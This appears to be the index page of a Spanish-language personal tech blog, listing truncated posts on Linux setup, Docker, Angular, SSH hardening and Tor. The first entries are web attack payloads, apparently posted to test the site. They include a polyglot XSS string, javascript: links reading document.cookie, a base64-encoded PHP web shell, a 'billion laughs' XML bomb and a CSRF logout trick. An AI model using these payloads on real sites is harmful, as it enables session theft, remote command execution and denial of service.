jaVasCript:/-/%60/%5C%60/%27/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

![jaVasCript:/-/%60/%5C%60/%27/*%22/...

\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

[clickme](vbscript:alert(document.domain))

[Test](javascript:prompt(document.cookie))

[a](javascript:prompt(document.cookie))

<!--?xml version="1.0" ?--> <!DOCTYPE lolz [<!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY...

csrf Cargando una imagen en markdown para que el navegador haga get al enlace de la imagen. En este caso el enlace es https://log.exos.ninja/auth/logout

Esto equivale a pulsarl...

Bueno lo busqué para compartirlo en el grupo de JavaScript ES de telegram y me di cuenta que había quedado viejo, así que acá va una versión mas nueva:

const arrWrap = (arr, wrap) => a...

Videos

Todo sobre el coronavirus

Wikiseba

https://www.youtube.com/watch?v=4-WvS2TZYvA

TODO sobre MASCARILLAS (tus preguntas respondidas po...

Covid-19

Recursos sobre el llamado Coronavirus o Covid-19 (Sars-Cov-2 en realidad)

![img](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxMSEhUTEhIWFhUXGR8YGRgYGB4dHxoeHh4YGhgaHxseHSggHR...

Matar todas las conexiones a una base de datos Postgres para hacerle DROP

Nada, me pasó que tenía que hacer un drop database en Postgres y me tiró el siguiente error:

ERROR:  database "****" is being access...

Usando KDE Connect en Archlinux con i3

Válido para otras distros y configuraciones

Primero instalamos kdeconnect:

# pacman -S kdeconnect

Agregamos el unit file:

# vim /usr/lib/systemd...

Capturar la MAC ADDRESS en node.js

Por si se necesita para crear namespaces de uuid v1/v2/v3/v5 por ejemplo.

/**
* Get a mac address to generate unique space
* @return {Buffer}
*/
const...

Siguiendo el precio del dolar minuto a minuto con i3blocks

[dolar]                                          
label=DL                                         
interval=60...

Habemus wiki

Hace rato quería tener una wiki para poder poner ahí las recetas, configuraciones y demás que posteo acá sin posibilidad de actualizar ni corregir.

Jugando con algunas me gustó bastante [Wiki.js](ht...

Usando docker-compose con node.js (backend)

Con supervisor y toda la bola

Hace rato vengo usando Docker tanto para dev como en producción para algunos servicios, y una h...

Recibí notificaciones de tu celular Android en tu ArchLinux

AN2Linux es una utilidad bastante copada para recibir notificaciones desde Android. Obviamente no solo func...

Configurando un container Debian en Ubuntu server sin LXC ni Docker

Usando systemd-nspawn en Ubuntu/Debian

Hace rato cuando veo a profesionales de IT usando sistemas operativos como M$ windoors o OS/X me agarra...

Configuración definitiva para SSH + iptables

Seguro, cómodo, Anti-food, anti-bruteforce y sin servicios como f2b o sshguard.

Esta se puede considerar una actualización a *[ La mejor forma de prevenir ataques de...

Manejando tiempos pomodoro desde la consola like a boss.

Presentando pmdclock

Hace tiempo vengo usando (o intentando usar) la técnica pomodoro, para el qu...

Un poco de luz en el supuesto Backdor en WhatsApp y por que SI es un problema.

Se esta corriendo un debate sobre si lo de WhatsApp es una vulnerabilidad, un backdoor o un tema de usabilidad.

Lo mejor lo...

Acceder a hidden services de TOR de forma transparente

Sin una interfaz bridgeada ni proxies extraños

Nota: El manual es para ArchLinux, pero no tendría que ser difíc...

Django + Vim + Vdebug

Bueno como habrán visto en algún que otro screenshot en este sitio, soy un ferviente usuario de vim, y una extensión que me encanta es Vdebug, que es un...

Comprimir todos los videos de un directorio sin perdida de calidad y multicore

Ideal para videos de cámaras digitales y demás.

Estaba reduciendo un poco un directorio que tengo con varias fotos ya que me quedé s...

Versión para Greasemonkey de MacriGato

Mi hermano me pasó una divertida extensión para Chrome/Chromium para cambiar todas las apariciones de "Mauricio Macri" por la de "Macri Gato".

Pe...

Dividiendo un directorio completo en varios archivos (o volúmenes)

Para subidas u otras yerbas

Si, no está mal el título, aunque es imposible dividir un directorio, en realidad primero lo metemos en un archivo t...

Beware! You Can Get Hacked Just by Opening a 'JPEG 2000' Image

thehackernews.com:

Researchers have disclosed a critical zero-day vulnerability in th...

Cifrando directorios arbitrarios

Sin archivos loop ni superusuario

Suelo tener algunos archivos a los cuales monto como unidades loop, y cifro con [dm-crypt](https://gitlab.com/cryptsetup/cryptsetup/wikis/DMCryp...

Instalando Sentry con docker + systemd

Hace un tiempo había hecho un post de como instalar Sentry en Ubuntu server y lo hacía utilizando VirtualEnv2 y Supervisord.

Ahora mucho tiemp...

Publicidades gráficas de computadoras y videojuegos viejos

Una larga colección de posters, publicidades en revistas y demás de computadoras de la época, muchos KB y aveces hasta algunos MB!

Vintage Computer an...

La primera grabación de música generada por computadora

Investigadores neozelandeses han restaurado la grabación que registra la primera vez que se produjo música con un ordenador. Fue en 1951 usando un enorme apa...

Creando una directiva en Angular que soporte ng-model

Esto es simple, pero buscando en internet me di cuenta que la documentación que hay es mala, y en español sobretodo, inexistente.

Lo que vamos a hacer e...

Todas las patentes de Nikola Tesla en un gigantesco documento PDF de 500 páginas

Original: http://www.microsiervos.com/archivo/tecnologia/patentes-nikola-tesla-pdf.html
Via: http://www.ewao.com/a/download-n...

Configurando un SSL gratis con Let's Encrypt en Nginx

Con configuración fácil para proxies reversos

Hace un tiempo se pueden obtener certificados SSL gratuitos gracias Let's Encrypt....

Configurando Thunderbird con local Mailbox (MoveMail)

Bueno, seguí una guía muy recomendable de como configurar un mailbox exclusivo para TOR (Solo para usua...

CountDown sencillo en Angular

Una directiva muy simple para hacer un count down, simplemente eso.

["$interval", function($interval) {
    return {
        // Restringido a usarse solo como elemento...

safeApply para Angular

Avitando el "Error: $digest already in progress"

Algo que odio de angular es como se van del paradigma de programación orientada a eventos, a diferencia de Backbone y otras librerías que s...

Listar directorios que ocupen mas de 1G

Nada, una tontería pero lo uso mucho cuando tengo que fijarme que directorio es el que se esta llevando "el peso pesado", con usos prácticos como buscar directorios pesados en...

Configurando Dropbox con Docker en Archlinux (+ systemd)

Corriendo software privativo encapsulado con cgroups :)

Para un trabajo necesito tener un directorio sincronizado con este servicio privativo, aunque soy...

wrap en JavaScript simple

Necesitaba cortar un base64 en varias lineas de tamaño fijo, y busqué una función de wrap en google, pero me encontré con funciones complicadas, muchas transformaban el string a un array y...

Problemas cargando youtube:

Al parecer uno de los dominios a bloquear de ads lo usa youtube como CDN de archivos de estilos, si usaron la lista linkeada acá, hay que sacar la negación de:

s.ytimg.com

s.ytimg...

Configurando DNSCrypt con caché (con pdnsd) en Archlinux

Con yapa anti ads

Nota: El manual es para ArchLinux, pero no tendría que ser difícil de aplicar en otras...

Creative Commons Attribution-ShareAlike 3.0 Github